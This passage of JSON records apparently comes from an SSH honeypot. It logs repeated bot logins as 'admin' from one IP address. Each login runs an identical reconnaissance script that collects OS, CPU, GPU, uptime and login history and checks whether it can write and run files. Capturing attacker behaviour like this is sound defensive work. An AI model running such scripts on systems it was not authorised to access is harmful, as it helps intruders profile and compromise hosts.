  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:54:08.464313+00:00",
  "ended_at": "2026-08-20T13:54:08.559618+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5b3bebda-7609-4e11-81b1-4a509bf8af35",
  "name": "brave-stoic-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 60398,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:52:40.791067+00:00",
  "ended_at": "2026-08-20T13:52:41.048552+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "906c4cb9-5047-4ce0-9a52-aed8bf9f2e3c",
  "name": "crystal-emerald-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 57442,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:51:15.698018+00:00",
  "ended_at": "2026-08-20T13:51:15.847652+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "287ab4ad-3c14-479b-8a28-caf8296e7612",
  "name": "faded-distant-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 54520,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:49:47.937082+00:00",
  "ended_at": "2026-08-20T13:49:48.020052+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d89c0ba3-2694-4e2a-8180-786b14d6dd61",
  "name": "fickle-bronzed-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 51530,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:48:20.195728+00:00",
  "ended_at": "2026-08-20T13:48:20.280541+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "964351f1-eb70-4dbf-b207-707c99a9a75b",
  "name": "upland-breezy-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 48592,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T13:46:41.889418+00:00",
  "ended_at": "2026-08-20T13:46:41.977518+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a63e8753-00f2-4644-8976-4e2644715a50",
  "name": "jagged-zealous-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 45622,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 